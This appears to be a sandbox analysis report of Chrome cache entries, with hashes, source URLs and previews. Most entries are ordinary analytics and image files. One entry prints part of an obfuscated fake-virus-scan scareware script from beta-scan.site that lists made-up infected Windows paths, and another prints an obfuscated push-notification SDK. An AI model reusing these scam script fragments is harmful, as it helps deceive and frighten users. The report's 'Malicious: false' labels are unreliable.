Reputation:	low
Preview:	var tealiumiq_currency = {. ts:"202409270100",. rates:{"FKP":0.74636,"XAU":0.00037456,"DOP":60.147409,"IMP":0.74636,"CRC":520.374028,"ARS":967.2631,"KGS":84.2,"XPF":106.840102,"CZK":22.5056,"MXN":19.61901,"SEK":10.137546,"EGP":48.3733,"MNT":3398,"COP":4191.242198,"BRL":5.4382,"OMR":0.384956,"AMD":386.908226,"RWF":1351.79403,"BBD":2,"TRY":34.178385,"GNF":8637.145591,"NOK":10.555646,"AZN":1.7,"JMD":157.026394,"SCR":13.454075,"AED":3.673,"BWP":13.082151,"TOP":2.34128,"XCD":2.70255,"KHR":4063.631294,"MOP":8.014633,"USD":1,"NGN":1653.4,"MGA":4525.437168,"XPT":0.00099343,"WST":2.8,"IDR":15118,"PYG":7811.679482,"GGP":0.74636,"RSD":104.809,"MRU":39.566559,"STD":22281.8,"KZT":479.022617,"NIO":36.80789,"CDF":2846.341709,"ISK":134.92,"CUC":1,"CLP":905.9,"SZL":17.189714,"HUF":354.580257,"PLN":3.827204,"JOD":0.7087,"ALL":88.678866,"ERN":15,"SVC":8.751087,"LBP":89563.84801,"HNL":24.845328,"MYR":4.1205,"IRR":42105,"EUR":0.89532,"RUB":92.62122,"BTC":1.5324178e-05,"SAR":3.750638,"PGK":3.974858,"C

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1310
Entropy (8bit):	7.07750951848643
Encrypted:	false
SSDEEP:	24:rGDc/jcav+MmQ/aV5HxUBXDWxFpdtn00IGOZFe5/Fh+LNMnMx7S4/cEWpejQzY:rGo/jaFV5K1DWxTdLsZFI9hCNMM1S4kY
MD5:	AE1BF3965E086D641201B59104FC0588
SHA1:	D860AB1BE8E73253E00E29866FD1C73524793946
SHA-256:	CBE9B60B2815A404226B25BD8B9C9B4E696277378D45B16B06A43DF3AB068DB7
SHA-512:	436C1F331727F82B94C890B827DBA207E672C1438FFFFA3C0E1260B97B64CBFBAD9A1AF0C5FD4F49E45B9B3497B3FA524EBC7B098153AA4B68073C87E1308438
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/Instant_boost_icon.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@.........................................8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe...........1....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe...........1....pixi............ipma..........................iref........auxl.........jmdat......m..@2...@<.@.aE5.t,.HD....j.`..G...q.sP_,....}.9....E.k@.\|..d./5....<../......%.T8V...)..u5.7.>k..&o..F..e.ny..c.pJ..\....A..,6.3...4BTq..$..........5....$...23........;/.\|.;.{.E..^.T......1=.y..G"...5....M.......B6H.Lc<..VG..K.v.>QQ}...s..........yL4z..\| ./.\|...^.ZM=.`..bi....;....G.V&!7/.n..R.g.....R.5.....n.x..;9.n...9......[..H..4......7\.;..oO..F6....\|..o....-m..4.....f).#N..M~.[..?....b...~....U..i.]Z...7mge.=b?.......1.%.,.......m......2...@.<....I....%f..D.......6..\|.n6+wy2P....?......Y.j....66a3...T...#Ah..r.\.[[.

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27558)
Category:	dropped
Size (bytes):	119189
Entropy (8bit):	5.395661067704973
Encrypted:	false
SSDEEP:	1536:coaBwzp72vTfTt4ttkZOx3QnaHr24yASd+eQL0+hieh8AVLoI1pYhki:9WraNRzyAVL6
MD5:	37105E32C6D2A5EB0F846811C9E443BB
SHA1:	55053FC01012D57AE0861A875A39A6BCE6D4A7B4
SHA-256:	0784CF99F6340EDB05E11B5B76CBDB99E698C4165A0F35EA2DFA33C250C00C02
SHA-512:	9F88E3546E6CE0CE0564206F22C9F4707DD20A4B5615C7851576AD0A12BEC021AB0CA74286F4B0FA68CFD24CF34353B03977789BEC21345C8A10F3684A05E7D4
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.loader ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..var utag_condload=false;window.__tealium_twc_switch=false;try{try{(function(){window.utag_data=window.utag_data\|\|{};var check_web_storage=function(type,cb){var supported=false;var storage=window[type];try{var x="__storage_test__";storage.setItem(x,x);storage.removeItem(x);supported=true;if(cb){cb(supported,storage);}.return true;}catch(e){if(cb){cb(false,storage);}.return e instanceof DOMException&&(e.code===22\|\|e.code===1014\|\|e.name==="QuotaExceededError"\|\|e.name==="NS_ERROR_DOM_QUOTA_REACHED")&&storage.length!==0;}};utag_data.web_storage={session:check_web_storage("sessionStorage",function(supported,storage){utag_data.tealiumiq_currency_rates_missing=!supported\|\|supported&&!storage.getItem("rates")?true:false;}),local:check_web_storage("localStorage")};})();}catch(e){console.log(e)}}catch(e){console.log(e);}.if(!utag_condload){try{(function(global){global.tealiumiq_currency_

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	924
Entropy (8bit):	6.451446118022548
Encrypted:	false
SSDEEP:	12:rGDc//Lca//MLDlTgmRMH/rUW7/l4zZX0ueYoHlfFDXtoRJCgDm2NyO:rGDc/jcaCMm+/AVkNVFDXuRTb
MD5:	93057A0C2CDD87746AA79E859A41A808
SHA1:	4F4A2228607B8261F851124C2D8F5312168BAB50
SHA-256:	36B57B2FDEEA0ACDC81EA4260F0267CC394E8A64A6802926D8E58DA16A3B69BC
SHA-512:	8E3C79A2D5D3C236F1D073EE197BFA36F6DFE4E28A612913D28A0A63A94B4AD0457CE3FBADF76533635F9B181190D460DA077FB84A2CBA980C38814F4814E77B
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/call_when_convenient_icon.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@.........................................8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......0...1....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......0...1....pixi............ipma..........................iref........auxl..........mdat......o..@2...@<.@./..R..Io.....nrB.......x2..}..cO.G...Q...j...b..~...r'....{......I..;.x.G....L..)+......!.M.1..5.\bL..0Ez..]/M.....Dpa......Lg.....6.?.2.j.E...{.o...-?Yh/ .f7....X+F.oB...b.y..._../8=.W....JP. \..n..m..CkX.Xl.b...;........8..o....._..3W..\|.J..@......o......2...@.<.....u.....+..vR.p.7.l..=..m.<&...(%..[._.=.Q.65.X.lB+x..W...]..["...J..81.....h.hD.6xv..x.........}..s.zQ.5tIEP...D.j..n{/...<Enn.I..\|D \|S.. .....J.x(...5B..YS.9.`x`

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:Rn:R
MD5:	7BC0EE636B3B83484FC3B9348863BD22
SHA1:	EBBFFB7D7EA5362A22BFA1BAB0BFDEB1617CD610
SHA-256:	A2C2339691FC48FBD14FB307292DFF3E21222712D9240810742D7DF0C6D74DFB
SHA-512:	4D094B64124366530E7E327B1AD5D06C0FD1CEB96387D6A143E9F561C2F9FF7CA9D68E7C23B8B14AAB5309C202A8DCED9A38D950662A50984D2841577293CD64
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/tiqapp/utag.v.js?a=mcafee/consumer-display/202409111540&cb=1727968787490
Preview:	//

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	4.537782031835942
Encrypted:	false
SSDEEP:	3:Wx6G3XWVnCArqNNQRY:oXjA2NNQ+
MD5:	A6571E3F588149A98D522FB8EE4642B3
SHA1:	F324AD98678F625459594F6449AD57C21D108D50
SHA-256:	72D4A604A2C44D4952FB87E4497B7B8EAE94467AAC35B173368DB90426EBC8DC
SHA-512:	4AD0A786B6EFFD06DD294A51059B71649A04AC65D5B763FB9650A4DC55124F8383ED57C82C4ED941B6AFCD149D7CAD341A9E468F161BBC311B8EA5B38E1054BA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAmk_byjc3JdwBIFDYOoWz0SEAmnpTiGTmHpOBIFDZFhlU4=?alt=proto
Preview:	ChUKEw2DqFs9GgQICRgBGgQIZBgCIAEKCQoHDZFhlU4aAA==

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	203
Entropy (8bit):	6.4670358174785765
Encrypted:	false
SSDEEP:	6:6v/lhPm3chrtWniLcEujnUtAGMsB1bu3qp:6v/7O3chrAiLcH/Oww
MD5:	422B8FE049D06D28EAE3A23A39DD8F97
SHA1:	B62F1B3EC3086F514D7D9A1EDD954D00F78E26EE
SHA-256:	5EE08573C617DF26257260D9FABB4C72A4B3BA3DFAD211EA2687E17B8F26D7D7
SHA-512:	C54290E4FCDC9B36A431468FEFB910E92AE194E69E673FF96D641382B0A6302E6581940D75F8151E375FB2F93DFFE97969C5CAAD3C64F908A600AC6FB50456DB
Malicious:	false
Reputation:	low
URL:	https://static.imghst-de.com/pb-message.png
Preview:	.PNG........IHDR...0...0.......1.....IDATX...;.. .E...b].....FW.......L.0o.{...YIS..g..J.....pc........I....).....f..(.X.....>......?..7..::.\|..K.<~..@..9...`..S>.lyp....w^..6.v....+....IEND.B`.

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	551
Entropy (8bit):	7.5263913661105875
Encrypted:	false
SSDEEP:	12:6v/7gug13ld3ayTpLgIHlpSPrPGRG1ye3D:r1VdqApLgIHlpSzCfe3D
MD5:	FA9BBC49F23174A4A2DAB46E7BF1D124
SHA1:	4B0778CD0F9494F30945ED81F130DE516F45D027
SHA-256:	1A8B32247159535E4E444FCAD146DAE807B0CAA0B46E8D4511BC8C5996AF567C
SHA-512:	938B3870CC72CF55F82E93BFA1A0B3021A622D8C0647B2E7AE00F2DDC833B2F05598BFE74534DD43170026EC1AFBACE3327C4806C87ED0BCF2AECBE3AA4725FA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J~.s....orNT..w.....IDAT8...K.A...=.E..FB..$..I.!..Y...?.{.w.w^..\#....!baZ..!..V.jc'."GB..C.+^.....4 ..vgv.g...;...]..'ZGF.9...QIuL.V...Gm....\M..{ .)V....{...T.j...........)..ck....].B.4.f.z...@.....0-3$..L..p...xA..K.$.o...\z.....T....(.T%.......=.^.i.K.W..$.S]8..../Tu..f...L.....8.q.u.K... ...0.Q..b..^R.<.{..z...........a....O+..n6.i..2.~.>..mx=.,....S...p..o...\.5@.l.,D..<P-..$.A..S.d........}.]..=1a..D%].g.Y.K....}vrh.a?../..9.V78g7.x.!..[.oG_.W...i.......V..~.....A....p....IEND.B`.

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15957)
Category:	downloaded
Size (bytes):	107780
Entropy (8bit):	5.416037251906091
Encrypted:	false
SSDEEP:	1536:hqR/DFMiogPGTgP7F0xLf4o45/GkQb8lK24wNrf:gpDFM07Fzo45Sbw7Nrf
MD5:	104AB480BCDF0038D5664245CAF8D688
SHA1:	2B3CDA94C7C234B6DA40C0A3D3D5B67A81618D48
SHA-256:	69D1268A8A2D5707BC6B375DD6AD5CB0E4A3FD61D80CBFBAF99962952B763192
SHA-512:	DDE8DA0408FE661AF458786A7BFE4D3CBB3A47782D5401B7E9E9F55B8C97F9DBD707EDAC2609E32A9A0E2E5412124CBF458369EED240D7A9528C506E9E739705
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.356.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.356 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..var s=s_gi("mcafeewwconsumermain").s.account="mcafeewwconsumermain";s.trackDownloadLinks=true;s.trackExternalLinks=true;s.trackInlineStats=true;s.linkInternalFilters="javascript:,home.mcafee.com,cart.mcafee.com,promos.mcafee.com,www.mcafee.com";s.linkLeaveQueryString=false;s.linkTrackVars="None";s.linkTrackEvents="None";s.usePlugins=false;s.currencyCode="USD";s.visitorNamespace="mcafeeconsumer";s.trackingServer="metrics.mcafee.com";s.trackingServerSecure="smetrics.mcafee.com";s.charSet="UTF-8";s.expectSupplementalData=true;s.debugTracking=(utag.cfg)?utag.cfg.utagdb:false;function AppMeasurement_Module_ActivityMap(k){function p(){var a=f.pageYOffset+(f.innerHeight\|\|0);a&&a>+g&&(g=a)}function q(){if(e.scrollReachSelector){var a=k.d.querySelector&&k.d.querySelector(e.scrollReachSelector);a?(g=a.scrollTop\|\|0,a.addEventListener("scroll",function(){var d;(d=a&&a.scrollTop+a.clientHeigh

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1579)
Category:	downloaded
Size (bytes):	10447
Entropy (8bit):	5.142377895861513
Encrypted:	false
SSDEEP:	192:PbFnNojImVVMbpK3TXvUcgbRmYaUsw553U6NzT5Qad9FMjnpBu4x0allS45/2vN+:PlNsImVVMbpKDBgFAUn553UAgMI
MD5:	8CA5C7E5B4790DB258FE1C73647A2D96
SHA1:	93BA9077C192F79B725CD2CC49E0600B7463BEA6
SHA-256:	E3A032AA5EF301951B6A16F1B7E5648997B40A4A59F2A22AD901D27A301F24BD
SHA-512:	181D502458A3230346AC3042687C21DC0022F48B099D5922EF3A16441709BC79CF06C57BF5BF0D654F8D18ABC3056D2515FCB4136E0EC3B3562C79DE4D8323F9
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.528.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.528 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19979)
Category:	downloaded
Size (bytes):	19980
Entropy (8bit):	5.387971382825148
Encrypted:	false
SSDEEP:	192:YPVTvPo1vdZqBO4FDUnXxjxT2gPfWrGO7Pb0YrsmqAchfThiVI3bqJ00CwgmA2+k:YlvAuoz47D0Y1dVIrqQ/876toZqFOSy
MD5:	C6952D8848DE8ED29913A09F07F31CCA
SHA1:	3528EE7EFA73934219AC371496BAA50DCA2D1D07
SHA-256:	FD01C2D5A3B14F52BE370FBF74257036A7888568FF2CB07E303A6DFC30A578BC
SHA-512:	53A28DF00E2187800E5C5FD607FE5C40E1ACCF793D4691FBC75568D0D02C625C3ED83904DB5C44D861913EE8FC0B9568356EC86EAB1BAD625357FE8714114154
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/script/myjs.js
Preview:	function _0x46ba(_0x3bee7e,_0x3977e1){var _0x259250=_0x2592();return _0x46ba=function(_0x46ba6d,_0x15e3df){_0x46ba6d=_0x46ba6d-0x147;var _0x1766b1=_0x259250[_0x46ba6d];return _0x1766b1;},_0x46ba(_0x3bee7e,_0x3977e1);}function _0x2592(){var _0x16d7b4=['C:MicrosoftSoft.ECApp_8wekyLitDapi.exe','C:SetupShellExperienceHostMbaex.dat','C:Win32WaaSxSMbaex.dat','#cont','.overflov','.three','C:Program\x20FilesWindows\x20Defendermib4.bin','20px','bottom','C:Program\x20FilesWindows\x20Defendersplwow64.exe','.tab','color','.fly_5','C:Win32WaaSxSMCP.dll','C:Program\x20FilesWindows\x20Defendergxrell.lrc','transition','.scan-line','C:SusWOW64WINigxrell.lrc','.tsrra','C:SetupShellExperienceHostMCP.dll','C:WebTwain32con.dll','C:SetupShellExperienceHostcon.dll','C:Windows.StaMenuEx_cw5n1h2LitDapi.exe','C:Win32WaaSxSLitDapi.exe','C:Program\x20FilesWindows\x20Defenderkgdh.exe','.four','C:WindowsAppsSystemLitDapi.exe','C:SetupShellExperienceHostyhcan.dll','.fly_1','C:WindowsSystem32Kdscli.dll','readyState',

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1024 x 329, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	87122
Entropy (8bit):	7.970202511469303
Encrypted:	false
SSDEEP:	1536:6Hfjo6Kz8KQLYv3kem9MzyQQa9kptnTRzUE5D/I9soND+0Gc0UVgWZC7:uKzuyboM+K6XnTlz/+HhGcpOWZW
MD5:	19E7577BCD4B070A70A9700F56D67EB7
SHA1:	AEB6C4F50848E3E01FB7C60D134358937232BF4C
SHA-256:	31C9F77311CE1481920FA00B123DAB66FDDF822C21B19E93C27BC0C755C464E6
SHA-512:	1EE6A9C228E81DA1C22DFD5367A90784D27A4DD003203019A711055E56F822BA09CA87996DF848205F873EEAE8F87BF33F79FB9BA058551D6F9C7E4EA0CC88C6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......I......r_.....pHYs...............T.IDATx...y\|T.?..s.5.,.e..!.J.a'"..b.Ul....V.{k{...V...Z......V[QA.....D.%a......$..s......d...d..}!...'.l...}.....a..a.SQQ!.>}...O?.....r..dY...t:L.>.......\.......e..a..a. ,..0.....w.}i..O...@..A.......{......a..a.a.\|=..a..,///...%...&...=...1C......j4........ra..5.......E.......(.C.M@@..G5~TTT.&...7.N.Azz..{<0..0.3...3b...Bll.....@N.81..#.*ZYYY....rw.+.G......^........s..yu.?7...._\|........v....KC...........K[ZZRZZZR.......I......6.......y.......ltt.....wg.=.~>..w...._~..k....j..e.E..u.]o.z\..0.o.%.....i..X.8....7.. ....._/..Ov.={V...2.s(.J...c...G........q...'?1.8p@3.. ..........NH......;.......z..~....m[j.XFu.A........,[...n...$b.-[.<..?......c...........[>...0..#,..........0n.u......x.gF.0....ol.u....}.....{B...........j.w.Z.FVV.......... ."...QYYi...............g.=.m..O.7%%.w.u.3..........i.5..K.......m.Ha.....%.L?}......znG)...jX"....y..w'..v..s....v...{...z..w.u...

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (53606), with no line terminators
Category:	downloaded
Size (bytes):	53627
Entropy (8bit):	5.5558203618646065
Encrypted:	false
SSDEEP:	768:qJ+u3eqQ3Iq9KxhKP3w9KDow9K7P25AYhAhmZK/b3Fw9K/NKKEFtnuEYVD/ws6HH:qN9qsWP46oijn
MD5:	23C46A647C6BFEEF105E9291D2BC33FC
SHA1:	1511B61121639B28B5EFBD47F54182FDD1A10811
SHA-256:	E262EF50087BA989210C7530F073B5288C7738B92314D706F5D6A7989449D413
SHA-512:	C182F662D5AEDD56A666E91C2C70771E512AC7AED743127AE0EA516E3C815A2DF3596B878CC397BFC2F62C9A7B43DE0502A4510E6A75A27C5405F03E58020620
Malicious:	false
Reputation:	low
URL:	https://sdk4push.com/f/sdk.js?z=1211351
Preview:	(function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu2HVD0rPywXVzW==","CMfFDxnLCG==","CMvXDwvZDa==","B25bBhjLywr5u3vIC2nYAwjLza==","yxnZAwDU","z2v0","z2v0rwXLBwvUDhncEunSyxnZtMfTzq==","w3jHxsbWzxjTAxnZAw9UigrLBMLLzdOGywXYzwfKEt0=","y2XPy2S=","B25SB2fK","w3jHxsb1CMWGAxmGzw1WDhK=","C2nVCgu=","yxbWBgLJyxrPB24VANnVBG==","C3vIsuqY","DMvUzg9Y","C3rHDhvZ","Dw5YzwDPC3rLCG==","y3jLyxrLrwXLBwvUDa==","DxnLCL9Pza==","AgvHzgvYCW==","B3bLBLn1yNnJCMLWDgLVBLn0B3jL","DMvYC2LVBG==","CMvHzhDYAxrL","ywn0Aw9UCW==","AxndB250zw50rgfYA2vU","C3DFDMvYC2LVBG==","CMvHzg9UBhK=","C2XLzxa=","CMvXDwvZDfbLCM1PC3nPB25tzwXLy3rVCG==","C2vUzev2zw50","ihf1AwvYzq==","ihzVCNjLyMjL","ntK2","zw5KCg9PBNq=","x19HD2fPDgvY","Ahr0Chm6lY91AwrZEw5JlM5LDc9ZEw5Jp3vZzxjFAwq9","DxnLCKfNzw50","Aw5ZDgfSBgLUzW==","zw5KC1DPDgG=","nZC0","C2v0",

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2431
Entropy (8bit):	7.565682822495085
Encrypted:	false
SSDEEP:	48:lJwNn2xZmNDJ3AuRwwZD/eAklrCXtFmZJCSnLGXtJoL6Z0YDbYLoQ:342eNyuRlDGAlGZJDL+F0YDpQ
MD5:	FD22397DFE5D6D7349164CE82847FD53
SHA1:	DCC678C0C3C6D91D88B021081F280377FA65EE01
SHA-256:	3C6902C5ACB08E21FEF1AFB46BCF770245B6B942F0613D8063A5032065C4D317
SHA-512:	1396075412058CBB9E8C69E5F6E980C72730CDF4738CD38A2243C5881897F3D91BA006757CB77182428129A86939AAEBF85935824622E82478C69BECBDB36B02
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/icon_2.png
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:4255B520EA7C11ED9738FB9437E53B71" xmpMM:DocumentID="xmp.did:4255B521EA7C11ED9738FB9437E53B71"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4255B51EEA7C11ED9738FB9437E53B71" stRef:documentID="xmp.did:4255B51FEA7C11ED9738FB9437E53B71"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..YHcg..o...D-I.i.I.".T...P..(h...>H...y)4...W.DQh)....LG.8J...)....L.....K.1...w..!.....^..\|0.....w.=

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	46
Entropy (8bit):	4.544876086303667
Encrypted:	false
SSDEEP:	3:YVMCT+dVjjHMIdROMrfW9:Yn+3HMI3OCw
MD5:	4E87B105024C11BDBBE2F5F1E47F46D0
SHA1:	E3E260C4C8CB0465FDCFB5B49CC7D53E4598FBBB
SHA-256:	C450A37D9D6D6CEC533F7B57FAD32149780A70796536B87CE05CCB87A2CF18DE
SHA-512:	D36D96416A2ACB29095F865FCBD3BDC95F33A76CA18EB02069EF1C0097D5A14889021E888B951B8575966FADBD337D281B92C3BBDE15E61D42F5AC902F7691E3
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wi/config/10180750.json
Preview:	{"pixelId":10180750,"use1stPartyCookies":true}

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7134
Entropy (8bit):	4.438009666686593
Encrypted:	false
SSDEEP:	192:thbdNk4WJ0/fG1xDuX1YltGWH5CHwzmcbXpB:tRLYmoxcYltGWHiwzBn
MD5:	AC5E9AA242F469CA4A15E4D4AE9BFD74
SHA1:	6A9326E31C4FEA66A6746F5DCB6AA6A5E215983E
SHA-256:	AE36336D689E9A7793610E33411BE0D6C3C7420248C2D8FBE381F3575C15325A
SHA-512:	2084217E6F584473D5B6309E6EE65B3A7A44786B479D6C2926F65EFA544E91194614CB0D7E3C8EBCAC133DA3EB94C3B8F5EA9582B4DE90A6AA0DBFEE6B0F3FA1
Malicious:	false
Reputation:	low
